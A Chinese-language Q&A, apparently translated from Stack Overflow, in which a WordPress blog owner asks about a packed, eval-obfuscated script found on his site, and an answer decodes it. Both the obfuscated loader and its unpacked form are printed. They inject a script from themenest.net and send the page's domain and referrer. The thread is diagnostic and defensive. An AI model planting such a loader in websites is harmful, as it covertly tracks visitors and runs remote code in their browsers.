javascript - 这段代码在我的 Wordpress 博客上有什么作用？恶意软件？

Question

我发现每次网站加载时都会加载以下代码，请在我的博客上回复我它的功能吗？，

themenest.net 是我看到的 url，当我看到加载我的网站时

<script type="text/javascript">
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return c.toString(a)
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                    return r[e]
                }
            ];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');', 25, 25, 'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'), 0, {}));
</script>

有人知道吗？？

Answer 1

如果你解压它，代码是:

document.write('<scr' + 'ipt type="text/javascript" src="http://themenest.net/platform/script/track?d=' + document.domain + '&r=' + encodeURIComponent(document.referrer) + '&c=' + Math.floor((Math.random() * 1000) + 1) + '"></scr' + 'ipt>');

...从 http://themenest.net/platform/script/track 中检索脚本资源，传递有关其所在文档的信息以及将您带到该文档的引用链接.我不知道那个脚本资源可能是什么(它可能什么都不是，重点可能只是跟踪；查看浏览器的“网络”选项卡以查看返回的内容)。

它是否是某种恶意软件取决于您与 themenest.net 的关系。 :-)